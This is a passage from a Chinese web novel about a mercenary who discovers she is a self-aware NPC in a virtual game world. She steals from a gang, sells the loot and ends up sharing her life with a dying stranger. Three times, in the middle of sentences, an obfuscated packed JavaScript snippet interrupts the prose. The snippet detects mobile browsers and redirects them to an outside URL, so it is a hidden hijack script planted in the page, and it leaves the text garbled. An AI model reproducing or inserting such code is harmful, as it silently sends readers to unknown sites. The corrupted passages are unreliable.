“鹿。”麻薯在后头扯了扯她的衣摆,“我还有个问题想问你。” “你说。” 唱鹿正在看论坛里的招聘广告。 离谱的帖子越来越多了,居然还有人抢着应聘,感觉接下来这段时间的社会新闻会很丰富多彩。 伽马地区虽不是什么严格的法治社会,可如果有人报案,联邦还是会管管的。 麻薯将下巴抵在她的肩头。 姿势就像妹妹依偎着姐姐,“你是不是被赐福了?” 唱鹿在悬浮屏上划拉的手停滞,“是什么让你产生了这种错觉?” “你躲子弹也太快了。”麻薯的声音渐渐低下去,“比我还快。” “……” 这事唱鹿也觉得很不可思议。 有那么一瞬间,的确感觉到某种外力的加持。 可也只是持续了短暂的几秒,危险过后又消失了。 如果真是赐福。 没理由别人的赐福都是永久享受,她的是限时试用吧? 而且,唱鹿怀疑这股力量的来源,可能是装在她口袋里的那枚三棱锥。 杀掉劫镖的角鳞族后,唱鹿曾经趁麻薯不注意,偷偷把手伸进口袋里。 摸到了一股温热感。 难道说三棱锥里藏了什么未知的力量? 暂时无从验证。 她只能这么向麻薯解释,“我那是反复锻炼出来的生存本能!你有追月族的加持,我也有十几年的作战经验呀。我八岁开始拿刀,那会儿你还没出生呢!还有啊,你觉得我有钱入梦吗?” 没有。 她糟糕的经济情况可以说是人尽皆知。 “也是……”麻薯把额头贴在唱鹿的后背上,小小声说,“那如果有一天你被赐福了,不能不要我。” 这小孩原来是在担心这个。 唱鹿转身揉揉她的脑袋,“你要是真想留住我,赶紧投胎成兽耳族,我对毛茸茸的东西最没有抵抗力了。” “得了吧,刚刚拧断那个兽耳族的脖子时,也没见你下手轻点。” 她一笑,定定望着女孩。 “我不会抛下你的。” “一定?” “嗯,一定。” - 离N278港口最近的停车场满了。 唱鹿不得不另寻位置停车,便让麻薯先去仓库找大川领佣金。 她们是一队,理论上派一个人去就行。 等停好车赶到港口,却见麻薯坐在集装箱上生闷气。 唱鹿翻身跃上集装箱,“谁惹你不高兴了,佣金呢?” 一提钱,麻薯顿时炸毛。 “佣金少了一半!” “那个大川说我们只是扫雷,今晚真正出力的是护卫的人,所以不能按之前说好的金额给我们。越想越气,我找他算账去!” 不对。 这个扣钱的理由站不住脚,八成是大川从中抽了油水。 但也可能…… 和那个临时加入的受赐者有关。 眼见麻薯就要跳下去,唱鹿赶紧抓住她。 “这里是刺鲸的地盘,你现在和他们动手,讨不了好处。” “不然呢!吞了我们一半的钱呢!” 唱鹿也不想就这么算了。 她站到高处环视周遭一圈,发现今夜港口的巡逻比往常少了一半不止。 每隔十米的哨岗上虽然都有人,但全部露出一副昏昏欲睡的模样。 “你猜对了,刺鲸押运的就是蓝血。” “啊?” “你看,守港口的人只有这些,其他的去哪儿了?调走了那么多人,还需要对外招聘,说明今晚走镖的不止我们这一个队伍……如此大体量的押运,必定是蓝血。” 她在心底默默丈量好仓库与哨站间的距离,顺便规划好几条逃跑路线。 然后说:“港口的仓库里应该藏着好东西……” 麻薯意会,圆瞳闪烁起狡黠的微光,“你的意思是——” 唱鹿指向一间仓库。 那里距离入口近,又不在哨站的监视方位内。 “工钱不到位,拿点东西作为补偿,这很合理吧。” “当然合理!” 说干就干。 这时真好有其他不满的雇员去找大川要说法,两人趁乱溜到了目标仓库。 一个放风,一个撬锁。 确定仓库里没有红外线防盗之后,唱鹿让麻薯踩在自己大腿上,协助她从通风口钻进去。 一来一回,顺利盗了两个黑箱子出来。 原本想着来都来了,干脆多拿点。 但考虑到刺鲸这种大组织,所有物肯定都打上了标签,要找路子销赃也不容易。 于是一人一箱,又把佣金一分,各自打道回府。 回到市区时还不到十点。 唱鹿顺路送了两单外卖,又没活儿了。 人一闲下来就浑身不对劲。 检查账头看见今晚只进了二百五十八通用币,火气一下便上来了。 她拨号给地菩萨。 甲方吞佣金,作为牵线搭桥的中介,地菩萨总要给她个说法吧? 对面没接。 唱鹿一不做二不休直接杀到了地菩萨的当铺,结果发现大门紧闭。 门上贴了一张全息告示: [有事外出,择日再回。] 当铺隔壁是一间机械义肢店,店主老太太坐在门槛上嗑瓜子。 唱鹿骑着摩托风风火火地过来,她没来得及躲开,猝不及防呛了一口尾气。 “死丫头,咳咳咳!”老太太朝她脚边丢了一把瓜子皮,“急什么,他一时半会儿回不来!” 唱鹿气得只差没把这破门给掀了,压抑着怒火道:“地菩萨人呢?” “出海了。” “他不是不搞那一套吗?” “近来入梦的门票价格涨得厉害,谁会和钱过不去。” 唱鹿冷笑。 他倒是捞钱去了,谁管她的血汗钱呢? “呵,一把年纪,小心把腰扭了。” 老太太睨了她一眼,“扭了只要有钱就还能再接上,怎么都不亏。哎,你车屁股挂的箱子里头是什么,拿出来我瞅瞅。” 解开车尾固定箱子的机械臂,唱鹿把箱子拎到老太太面前,“赃物,敢不敢收?” 老妪上手摸了摸,摸到箱子上刺鲸做的标记,给唱鹿递了个“丫头胆子挺肥啊”的眼神。 唱鹿也不解释,“你就说收不收吧。” “收。” 老太太转身进店,“外头风大,进来谈。” 唱鹿抱着箱子,小心翼翼地绕开地上的瓜子皮,“两斤的瓜子嗑出了八斤的皮,不怕上火啊!” “年纪大了,浑身是病,我这叫以毒攻毒。” 这老太太也是个碎嘴的,一开口就说个没完,“我那可是神都地区进口的薄皮瓜子,炒之前放了桂皮和花椒,香得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806269|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很。你这样的丫头,年轻不识货。” “原来如此。” 趁老太太关门的功夫,唱鹿偷偷抓了一把。 别说,真挺香。 两人进了暗室。 老太太打开头顶的照明灯,用一个没见过的大家伙把箱子锯开。 箱子里头是六根高效愈合剂和三根营养液。 高效愈合剂可是少见的好东西。 哪怕是被爆头,能即时扎上一针再送到医院,至少有百分之八十的概率能救活。 唱鹿有点不想卖了。 看到箱子里的是这玩意儿,老太太浑浊的眼球里顿时清澈不少,“你这丫头还挺会偷。” 唱鹿磕着瓜子,没皮没脸地应了句:“我也觉得。” 可检测完愈合剂的纯度,老太太却变了脸色,“营养剂不要,愈合剂我只能收三根。你这批货的纯度太高,应该是新研发的,不好倒手。” 这正合唱鹿的心意,“就三根,开个价吧。” “一口价,六千通用币。” “六千五。” “再加一百。” “六千三。” “六千二,不然你就拿走。” 唱鹿挑出三根放在桌子上。 老太太也不含糊,立马给她转账,还嘱咐道:“下次有好东西记得再来找我,我出价可比地菩萨良心多了。” 她朝老太太比了个OK的手势,离开前又薅了一把瓜子,边开车边嗑。 赃物卖了三分之一,还有三分之二。 剩下的得先藏起来,过段时间再找买家出手。 刺鲸丢了东西,肯定会先怀疑今晚的这批临时雇员。 接下来几天得小心点。 指不定麻烦会亲自找上门来。 * “铀能加满,谢谢。” 唱鹿把摩托车钥匙丢给能源站的工作人员,径直走向隔壁配套的便利店。 夜深了,有点饿。 唱鹿买了一个包子和一杯豆浆,坐在靠玻璃的座椅上,边吃边看工作人员给她的摩托车加铀。 三两口吃完包子,她开始计算手头现有的这笔钱该怎么用。 首先得把未央阁的赊账结清。 再拖下去,真要让她以身抵债可就完蛋了。 然后…… 有来电进线。 唱鹿抬手打了个响指,耳坠在玻璃前端投影出来电人的全息半身像。 是麻薯。 “遇到麻烦了?” 唱鹿会这么问,是因为这孩子很有边界感,除非有活儿要合作,基本不会主动找她。 麻薯的全息半身像闪动着,说话时也带有明显气流声,“我没事。只是想告诉你,十分钟前有人袭击了N278港口。” 闻言,唱鹿不自觉咬紧吸管,“刺鲸找你了?” 半身像摇摇头头,“他们内部正乱着呢,哪有空找我们的麻烦。” “冲着蓝血去的?” “不,据说是去找人。” 直接杀进别人的地盘,就为了找人……? 据唱鹿所知,刺鲸的生意里没有人口贩卖这一项。 难道最近拓展业务了? 麻薯也有同样的疑惑,“我的情报人是这么说。她还说,袭击港口的犯人行事风格很古怪,一直把刺鲸的人往小树林后的荒地引,不知道想干嘛。” “小树林后的荒地……”唱鹿皱眉,“该不会是我们扫雷的那一片区域吧?” “嗯,你也觉得很奇怪对吧?” 唱鹿沉默。 半晌后,才问:“最终结果如何?” “那人重伤逃走了,应该活不成。刺鲸重新清点了N278港口仓库的存货,把丢失的东西都算在他头上了。” “……” 唱鹿扶额。 难得上天如此眷顾她,虽然是建立在他人的不幸之上。 一路走好。 她默默在心底祝福那个倒霉蛋。 若有来生,记得别把电磁网布置在那么显眼的地方。 5. 通感 005. 意外有了替罪羔羊,销赃的事反而要更加谨慎。 刺鲸认定是袭击港口的人盗走了他们的东西。 换言之,窃贼也会被认为是袭击者的同伙。 唱鹿对此颇感头疼。 剩下的高效愈合剂更加不好出手了。 至少在伽马地区境内,目前还没有胆子肥到敢明目张胆和刺鲸作对的买家。 只能按照原来的计划,先藏起来再做打算。 回到能源站,唱鹿结完给独轮摩托车加铀的钱,从工作人员手里接过钥匙。 对方好心提醒道:“您这辆摩托车的能源箱有点老化了,最好更换一下。” “不换有什么影响吗?” 唱鹿不大想。 她没有多余的钱,摩托车也是租的,骑坏了不心疼。 “影响不大,可能会漏铀。” “喔……” 那就是没问题。 - 适合藏东西的地方,唱鹿还真有一个。 她来到地区中心的一家连锁大超市,避开监控,趁人不注意,由后门出。 后门连着一条小巷,小巷往左是死路,死路上堆放的垃圾袋多得垒成了一座小山。 这里又脏又臭,除了丢垃圾,没人会来。 确认身后没人跟踪,唱鹿掀开垃圾山旁边的井盖,跳了下去。 伽马地区的下水道是相互连通的。 讨生计的这十几年,她走过无数次下水道,熟练得像回老家。 唱鹿还在几个常用的入口附近藏了滑板之类的器材,方便在下水道快速移动。 此时,她正踩着滑板,在四通八达的下水道里左拐右绕,最后停在一面不起眼的墙壁前。 到了。 唱鹿收起滑板,把右手贴在墙壁上。 壁面出现微弱的蓝光,上下扫描她的掌纹。 确认身份后,原本严丝合缝的水泥墙豁出一条只能容一人通过的小缝,她便侧身钻了进去。 墙壁的背后还有一道厚重的保险门。 输入密码并验证虹膜信息,保险门才会打开,露出后方二十几平米的小空间。 这里是唱鹿的秘密仓库。 但她不是第一任主人,仓库原先的拥有者是一名智械。 六个纪年前,论坛里有人出高价暗杀那名智械。 唱鹿幸运地抢到了这一单。 当晚将目标给物理超度之后,顺理成章地接管了这间仓库。 这些年来,她不断加强内外防御系统,又对内部进行改造,最终成了现在的模样。 ——一间攻守兼备的小型军火仓库。 正因为把赚来的钱都投资到了这间仓库里,手头才所剩无几。 私人军火仓库是非常有必要的。 毕竟,伽马地区向来不太平。 仓库左侧的墙上摆满了任务过程中缴获的枪械,右侧则是子弹和冷兵器,还有防弹衣。 中间看似空无一物,只要踩在对的位置,便会从地底升起一个直达天花板的圆柱状储物柜。 三根高效愈合剂,她把两根放进储物柜。 剩下的一根随身携带,以防万一。 离开前,唱鹿还选了一把微型手枪。 这种手枪的杀伤力不大,但贵在体积小。 小到可以睡觉时藏在枕头底下不被发现,即便打不中也有一定的击退效果,危机时刻能争取到几秒的逃跑时间。 倘若有人胆敢在夜里闯进她家。 这把枪会是最好的防身武器。 - 唱鹿准备像往常一样从后门再度进入超市。 她会随便几圈买点便宜的东西,假装成一位挑挑拣拣老半天的抠门客户,然后在店员鄙夷的目光下结账扬长而去。 可当她钻出井盖时,一股刺鼻的气味扑面而来。 垃圾腐烂发酵的酸臭,还有…… 血腥味。 有人。 就藏在那些垃圾袋下面。 唱鹿紧盯着垃圾山。 她的右手已经摸到了腰间的手枪,随时可以掏枪射击。 进下水道时还没有血腥气,说明这个人在她之后才到这条巷子里。 跟踪? 偶然? 应该是后者。 这人肯定受了很严重的伤,又怕被仇家发现,才不得不把自己埋在垃圾堆里。 怎么办? 杀,还是不杀? 世界之大,钻下水道的不止她一人。 可这毕竟不是什么正常行为,况且底下有太多不明不白的东西,一旦被举报给联邦…… 还是杀了吧。 以绝后患。 唱鹿拔枪对准垃圾山。 在她即将扣动扳机的瞬间,三个选项弹出: A,上前检查情况 B,报警 C,拨打白金医疗小组急救电话 不是。 为什么非要她救人啊?凭什么啊! 就不能一枪崩了吗! 不管,就要杀。 等等,为什么动不了了?! 唱鹿的食指勾在扳机上,只需轻轻一扣,子弹就会飞出去,清除所有麻烦。 可她完全动不了! 那三个选项横亘在她与垃圾山面前,像游戏系统施加在她身上的桎梏,不容她做出其他选择。 (脏话消音)! (脏话消音)——! 行行行,不杀行了吧。 思维一转,禁锢住唱鹿上半身的无形枷锁也立即松开。 她放下举枪的手,瞄了垃圾山一眼。 选项还没消失,双腿也还不能动弹。 三选一。 没有一个是她愿意的。 A——她不想过去,要是对方正躲在垃圾后面拿枪对着她呢? B——不,绝对不和联邦打交道。 C——白金医疗小组,呵呵,联邦的狗腿子,坚决不要! 唱鹿品出味儿来了。 不管哪个选项,都是让她救垃圾山里的人。 救是不可能救的。 路边的野人不能随便救,尤其是这种来历不明还受重伤的,指不定好了之后灭你全族呢。 灭族,唱鹿倒不是很怕。 她是孤儿,没有亲人。 可要她救人…… 或许,还有其他折中的选择? 唱鹿把手枪扣回腰间,又摸出口袋里的那只高效愈合剂。 试试吧,也许呢。 如此想着,她把高效愈合剂抛向了那座垃圾山。 高效愈合剂稳稳地落在其中一个垃圾袋上,底下的人也随之蠕动了两下。 仅此而已,又没了动静。 不知是死是活。 但唱鹿自由了。 束缚一解除,她飞速逃离小巷。 顾不上去超市里装模做样,也没心思找活儿赚钱了,猛踩摩托油门,以最快的速度赶回家。 * 唱鹿躺在浴缸里,盯着漂浮在水面上的三棱柱出神。 最近发生的事情有点多,她得好好缕一缕思绪。 首先是她的觉醒。 觉醒之后依旧受到系统的限制,不知道有没有办法打破? 除了她之外,还有没有其他已经觉醒了的NPC? 如果有,他们是否有办法将自己伪装起来,避免被检测出异常? 再者是玩家。 玩家和NPC如何区分? 赐福是不是玩家独享的游戏权限? 如果是,她必须找到其他自保手段,否则在任务过程中遇到玩家肯定必死无疑。 最后是躲在垃圾山里的人。 Ta是玩家还是NPC? Ta为什么会受伤?Ta的仇家是谁? 系统硬要她救人的理由是什么?Ta现在是死是活?后续……不,不想有后续。 唱鹿放松全身肌肉,任由身体沉到浴缸底部,让热水包裹住自己。 以前她只需要思考怎么活得更舒服。 现在不仅要考虑的点变多了,连怎么活下去都成了关键问题。 危险太多,约束更多。 手上掌握的信息又太少,甚至不足以让她窥清世界的一角。 活了二十几年,突然发现原来她对这个世界一无所知。 这种感觉简直让人毛骨悚然。 接下来该怎么办呢……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806270|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 要不去找找看有没有其他和她一样觉醒了自我意识的NPC吧…… 唱鹿在水底睁开眼睛,伸手抓住那枚飘到头顶的三棱柱。 是她的错觉吗? 三棱柱好像变得浑浊了。 - 这一夜,唱鹿睡得不太安稳。 她醒来时还不到六点,对着天花板发呆到闹钟响起,才慢吞吞地起床洗漱。 早餐是昨晚偷来的一只营养剂,燕麦牛奶味,饱腹感很强。 八点准时出门,走进电梯时收到领队的通知,今天安保队的任务是地区巡逻。 这本该是联邦巡警的职责。 可谁不知道那是一群拿着高薪铁饭碗的酒囊饭袋,能偷懒,绝不多做。 像巡大街这种出不了太大事故的工作,他们通常会偷偷外包给民间安保队。 不管怎么样,有活儿做就好。 没活意味着没钱,没钱连生存都难。 电梯直达地底停车场。 刚走出电梯门,唱鹿察觉到一丝不对劲。 停车场里的空气很浑浊,臭中带腥。 她住的地方位于贫民窟的边缘地带,周遭游荡着醉鬼和瘾君子,卫生环境本身就不怎么样。 停车场又和垃圾站相连,有臭味很正常。 可今天臭得很突出。 那种酸中带腥的腐臭,简直像有人把尸体丢到垃圾站里。 让她不由得联想起昨晚的遭遇。 唱鹿掩住口鼻,加速走向自己的车位,一心只想尽快离开。 还有五米就到了。 她遥遥看见那辆熟悉的独轮摩托,然后愣住了。 一具尸体靠着摩托的一侧,垂头坐在地上。 尸体的正面血肉模糊,森森白骨刺穿了胸前皮肤,能明显看出是被剖开了胸膛。 腐烂的臭气和嗜血的蚊蝇缠绕在它的周身,似乎宣告着死神已然降临。 死尸不可怕,唱鹿见得多了。 真正让她心肺骤停的,是它手中握着的东西。 一支空掉的高效愈合剂,上头还有刺鲸做的标记。 正是昨晚她抛出去的那根! 她的大脑里炸开一片空白,整整宕机了十几秒,才勉强恢复过来。 冷静。 思考。 不要慌。 这人是怎么追踪到这里的? 因为摩托车。 能源箱老化,开始漏铀了。 地上有些不起眼的蓝色斑点,从摩托的屁股后一路延伸了出去,这人追着这些痕迹来到了这里。 理由呢? 不清楚。 但唱鹿敢保证,自己绝对不认识他。 还有其他人吗? 没有,她应该是第一个发现尸体的人,否则尸体不会丢在这里发烂发臭。 最后一个问题。 该怎么处理这具尸体? 垃圾场太近,绝对不行。 必须丢到一个即便被其他人发现也祸及不到她的区域。 上乘之选是下水道。 距离最近的井盖离这里只有十几米远,尸体会顺着下水道的污水飘到别处。 就算被发现也没人会去追究尸体是谁。 失踪,杀戮,可太常见了。 这类事情多得联邦都懒得管。 不过在抛尸之前,得把尸体打包一下。 她可不想在运输途中掉出个心脏什么的,收拾起来太麻烦。 唱鹿从摩托的车座下取出裹尸袋。 谁知还没碰到尸体,一只脏污又冰冷的手,反擒住了她的手腕! 这时,一条血红色的链路凭空出现,并锁住了双方的手。 痛! 剧痛以胸口为中心,扩散至全身。 痛得唱鹿差点跪倒在地,就好像有人拿一把斧头劈开了她的胸膛。 她紧咬后槽牙,不可思议地看向尸体。 尸体也在看着她,面色惨白。 这是一个女人。 还活着,还有微弱的呼吸。 女人勉力地张开嘴,可她一有动作,加注在唱鹿身上的痛感便越发剧烈。 是那条链路。 它让她们通感了。 6. 悬赏 006. 这条链路十分诡异。 看得见却摸不着,锁扣在两人各自的右手上。 通过链路传导而来的撕裂感和濒死感,让唱鹿几度嘶吼出声。 女人早已陷入昏迷,可她还在被迫感受着对方的伤痛。 一丝一毫,清晰无比。 承受度快要抵达临界点,理智也在一波接一波的折磨中逐渐涣散。 她想不通,无法理解。 为什么偏偏是她。 一个虚拟游戏世界,NPC的数量成千上万,为什么是她有了自我意识? 假如她一直无知无觉下去,现在可能已经成了联邦麾下的一名恶魔猎手,抱着铁饭碗吃穿不愁。 可她偏偏觉醒了。 好不容易接受了一切。 接受这个世界是虚假的,接受她的存在是早就设定好的,接受永远有那么一群人凌驾于她之上。 可为什么…… 为什么偏偏是她遇见了这种破事! 她只是想活下去! 她只是想有钱地孤独终老! 唱鹿掏出随身携带的手枪,枪口对准那个奄奄一息的女人。 疼痛让她的右手颤抖不止,连给子弹上膛都用了三倍的毅力。 杀了她。 如果她彻底死透,链路却还没有消失,唱鹿会找把斧头砍断自己的右手。 这是唯一的办法了。 倘若真要走到这一步,那么今天将会变成一个纪念日。 纪念她脱离自然人身份,正式迈入智械一族。 “砰!” 没有脑液,没有血浆。 因为子弹打偏了。 它在女人的额头留下一道擦伤,没有直接要了她的命。 唱鹿向来百发百中,更何况两人离得这么近。 故意打偏,是因为她看到女人原本所剩无几的血量条,以惊人的速度回涨到了一半。 一时间,唱鹿有种极其不详的预感。 她连忙掰过摩托车的后视镜,往脸上照。 人还活着。 心已经死了。 出门之前,她的血量条还是满的。 现在,只剩一半了。 这半管血还在往下掉。 但不管怎么减少,始终和地上那个女人的血量保持着微妙的平衡。 唱鹿看到自己逐渐苍白的脸色,绝不仅仅是因为身上那份还在持续的痛感。 链路让她们共享感官。 也共享了生命。 女人已经死过一次。 一息尚存,是因为她拿走了唱鹿的半条命。 这么重的伤,半条命坚持不了多久。 女人很快会再度死去。 她也是。 唱鹿浑身冰凉,太多情绪在她的胃里翻滚。 她没忍住干呕了一下。 选项不合时宜地在眼前弹出。 不再是三选一,而是只有一个。 A,救她 救她。 这是活下去唯一的选择。 * 唱鹿站在盥洗台前。 她的头发凌乱,眼下发青,嘴唇惨白,工作服上满是血污。 整个人看起来憔悴得像连续熬了十天大夜。 打开水龙头,挤上满满一泵洗手液,仔细地清洗手上的血迹。 链路还缠绕着她的右手腕,另一头则延伸至浴缸里—— 半敞开的裹尸袋里,那个濒死女人还在微弱地呼吸着。 真是顽强。 唱鹿忍不住在心底讥讽。 她都不知道,她的半条命原来这么能折腾。 五分钟前,唱鹿扛着裹尸袋,一步一步地爬楼梯回到家。 走楼梯绝非她没苦硬吃,是因为电梯里有监控。 二十九楼。 六百三十八节阶梯。 鬼知道她是怎么靠这半条命撑下来的。 期间还出现了一个小意外。 爬到二十楼时,唱鹿体力不支,裹尸袋从她肩头滚落掉到了底下那层。 坏处是两人的血量条都只剩三分之一。 好处是唱鹿因此发现了一件事。 链路只是通感与同命,并不会约束两人之间的距离。 如果离得足够远,链路还会自动隐身。 换句话说。 在一定程度上,她还是自由的。 - 反复好几遍才把手洗干净。 唱鹿又接了一捧水,用力地搓了搓脸。 冷静。 不能慌,不能乱。 路要一步一步走,麻烦也得一件一件解决。 还有十五分钟就是九点,换做平时她应该已经抵达安保队的集合点,正在和队里的同事闲聊八卦。 今天是不可能去上班了,保命要紧。 她触摸耳坠,给领队致电。 未免全息影像露出破绽,唱鹿只用了语音通讯。 领队接听得很快,“唱鹿,来得正好,我刚要找你呢!” “领队我……” “你先听我说。”领队打断她,“你最近和刺鲸接触过吗?” 果然。 麻烦找上门时,不会只有一个。 唱鹿默默深呼吸。 她很想快速分析一下领队的意图,但脑子实在转不动了。 反正该来的怎么也躲不掉。 “昨晚有中介给我介绍了个活儿,刺鲸是甲方。”唱鹿努力让自己的声音听起来不那么虚弱,“只是押镖,不违法。” 联邦有明文规定,押镖过程中发生的任何伤亡,责任均在个人,法律不予干预。 “那就好。” “从今天开始,不要再和刺鲸扯上关系了。你如果实在缺钱,我可以……” 唱鹿现在最不想讨论的就是钱。 她立即岔开话题,“刺鲸有问题?” “树大招风,已经超出了联邦的容忍范围。”领队说,“总之,现在是敏感时期,你务必要小心。” 安保队和联邦巡警有长期合作关系,领队更有亲戚在联邦高层任职。 这个消息的可信度很高。 那么问题来了。 正常情况下,两人马上就会在安保队的集合点见到,领队完全可以当面说。 除非——“领队,你没去集合?” “唔,我临时接到消息,要赶去参加一场葬礼,今天得麻烦你顶替我当一天领队。” “……可是,我刚刚想说的是我今天有事得请假。” “……” 尴尬在空气中蔓延。 “哈哈,好吧。那我只好找其他人了。”领队的笑声很僵硬,“不管怎么样,记住我说的话,远离刺鲸。” “好,我知道了。” 通讯结束。 一件事解决,马上又得思考下一件事。 唱鹿坐在马桶上,咬着手指进行头脑风暴。 很显然,她需要医生。 去正规医院? 不,不能去。 伽马地区范围内,一切有合法营业执照的医院都归联邦管辖。 这个女人来路不明,还受了重伤。 冒然送去正规医院救治,必然会引起联邦的怀疑。 明的不行,只能走暗的。 唱鹿认识几个黑医。 收费不高,设备齐全,就是医术不咋地。 处理点小病小痛还行,真要起死回生…… 信他们还不如信这个女人会自己痊愈。 嗯,实力太强的坏处。 她这辈子没受过重伤,根本不认识能救命的医生。 看着浴缸里命若悬丝的女人,和她身侧还在不断缓慢减少的血量条。 正一筹莫展时,唱鹿想起一个人。 ——“如果有什么急事需要帮忙,记得找我。” - “医生?” 未央阁老板娘的半身全息投影立在浴室中间。 她的打扮还是老样子,手中的长杆烟换成了一把折扇。 投影做了个朝前倾的动作,“你受伤了?脸色不太好。” “我没事。” “那你找医生?” “不是我,是……”唱鹿揉了揉眉心,“总之,我现在急需一个医生。黑医,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14806271|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能和联邦有关系。必须医术精湛,要能把人从鬼门关里拉回来的。至于价格,随便开。” 老板娘用扇子遮住下半张脸,轻轻笑了声,“这么大方,难得一见呐~” “事情结束后,我会把赊账连本带利结清。你还有什么条件都可以提,只要我能办到。” “那就先记下,以后再谈。” 唱鹿不说话,等着。 “你说的那种医生,我确实认识一个。”老板娘的眼神变得深沉,“不过在告诉你之前,我要先确认一件事情。” 她的嗓音如同鬼魅般虚无缥缈,似乎隐藏了许许多多的秘密。 “你想起来了吗?我的名字。” 唱鹿的回答一如既往。 “没有。” * 老板娘给的地址,唱鹿曾经去过几次。 那是一个废弃的地下商场,负一层被改造成了拳击赛场。 不论白天黑夜,时时刻刻都有人在打黑拳。 负二层和负三层是自由市场。 偶尔会卖些见不得光的东西。 负四层以下是私人地盘,不对外开放。 而唱鹿这次要去的地方是负五层,一个她先前从未踏足过的区域。 出发前,唱鹿做了一番乔装打扮。 换身干净不起眼的衣服,戴上口罩和墨镜,还有假发。 她的发色过于独特,不伪装很容易被认出来。 一切准备妥当后,唱鹿出门去搭悬浮电轨车。 距离最近的候车站台离公寓只有五分钟路程。 她刷脸进站,列车正好到来。 车上乘客不多,唱鹿在靠窗的位置坐下,听到隔壁的兽耳族小情侣在说话。 “就不能把现实世界的钱换成通用币吗?明明是虚拟游戏,怎么规矩还那么多,我想花钱都不给。” “这样才能有逼真的游戏体验呀!你没看到宣传语上说的吗?进入游戏后,你将开启第二段人生。” “如果我的第二代人生是穷光蛋,那我宁可不要!” 他们是玩家。 还是刚刚进入游戏的菜鸟玩家。 “我知道你很急,但你先别急。我已经找到了赚大钱的办法,看!” “什么东西?” “悬赏令!上面写着,此人昨晚袭击N278港口,提供相关线索者可以获得一万通用币。如果能抓到这个人,则有十万!整整十万呢!” “可信吗?该不会是诈骗吧!” “当然可信,这是刺鲸发布的悬赏令。” “刺鲸我知道,是一个组织。” “哎哟,懂得还挺多,那我考考你……” 女生皱起眉头,眼底尽是嫌弃。 男的却侃侃而谈,浑然不觉。 这时,一只手伸到了他面前。 “让我看看那张悬赏令。” 卖弄得正爽被打断,男的把不满都写在脸上。 他斜睨向这个不识趣的人,上下打量一番,发现对方穿着普通,便不屑地嗤笑出声,“女的?” 唱鹿保持着伸手的姿势,“悬赏令,谢谢。 “女的看什么悬赏令,细胳膊细腿,能打得过谁?”兽耳男大笑起来,“看你好像还是个自然人吧?低等种族。” 唱鹿只是想见识一下敢单挑刺鲸全员的人长什么样。 既然对方不愿意给,她也不勉强。 偏偏这节车厢里的所有人都扭过头来。 或好奇,或不解,吃瓜的表情如出一辙。 有了观众,男的那股劲儿便上来了。 他嘴里反复说着自然人比不上其他种族,还想扯唱鹿的口罩,“遮遮掩掩,被悬赏的该不会就是你吧!” 唱鹿往后撤步,轻松躲开。 她告诉自己不要冲动,现在不适合惹麻烦。 但当兽耳男再次不安分地抬起手时,唱鹿对准他的太阳穴,一拳头抡了过去。 男人昏倒车厢中间,也让那些八卦的视线都收了回去。 唱鹿弯下腰。 拾起从他口袋里滚出的悬赏令,平静道: “欢迎来到这个(脏话消音)的世界。” 7. 庸医 007. 徽章样式的简易投影装置在唱鹿的手心里转了半圈,向空中投射出一幅悬赏令。 刺鲸的组织标志在悬赏令的正上方不停闪动着。 同样惹眼的还有一行字: [若有人能活捉到该名犯人并交予刺鲸,奖励100000通用币。] 为了强调悬赏金额之多,数字不仅加粗放大,还用上了实时感应变色。 悬赏令的持有者不管走到哪里,‘100000’都会自动调节为当下环境里最醒目的颜色。 十万。 很诱人的数字。 假如唱鹿昨晚没有参与押镖,没有去过N278港口,领队也没提醒她联邦已经盯上刺鲸的话,她指不定会加入这场追捕。 现在是不可能了,眼前的麻烦已经足够多。 不过还是要满足一下好奇心。 悬赏令分正反两面。 正面是悬赏内容,背面是要犯的全息影像。 如若还挂在墙上,悬赏令会一天二十四小时不停歇地自动旋转切换。 可一旦摘下来就会停止,需要手动才能切换。 唱鹿抬手,将悬赏令往后一翻。 看清后嘴角轻微抽搐了一下。 悬赏令投出来的这位犯人的全息影像,只能说……看得出是个人。 这人一身全黑无花纹的运动服,还戴着同色全包头盔。 外型上根本看不出是男是女,更别说种族。 唯一具有辨识度的东西,是那顶头盔正面用颜料画着了一个白色的叉。 这让唱鹿更加坚定了内心的想法: 袭击港口的人是个无可救药的蠢货。 知道夜袭要穿一身黑,还算有点聪明。 然而会在烂大街的头盔上做那么显眼的标记……除非大脑抽筋,想不出其他合理的解释。 但不管这人是傻是蠢,和唱鹿关系都不大。 她现在要做的只有两件事。 第一,远离这个人。 第二,自救。 简言之。 保住小命,活下去。 唱鹿有种预感,袭击港口只是开端。 蝴蝶一旦振翅,必然会引发一系列的连锁反应。 N278港口被夜袭。 刺鲸重金悬赏犯人。 联邦准备对刺鲸下手。 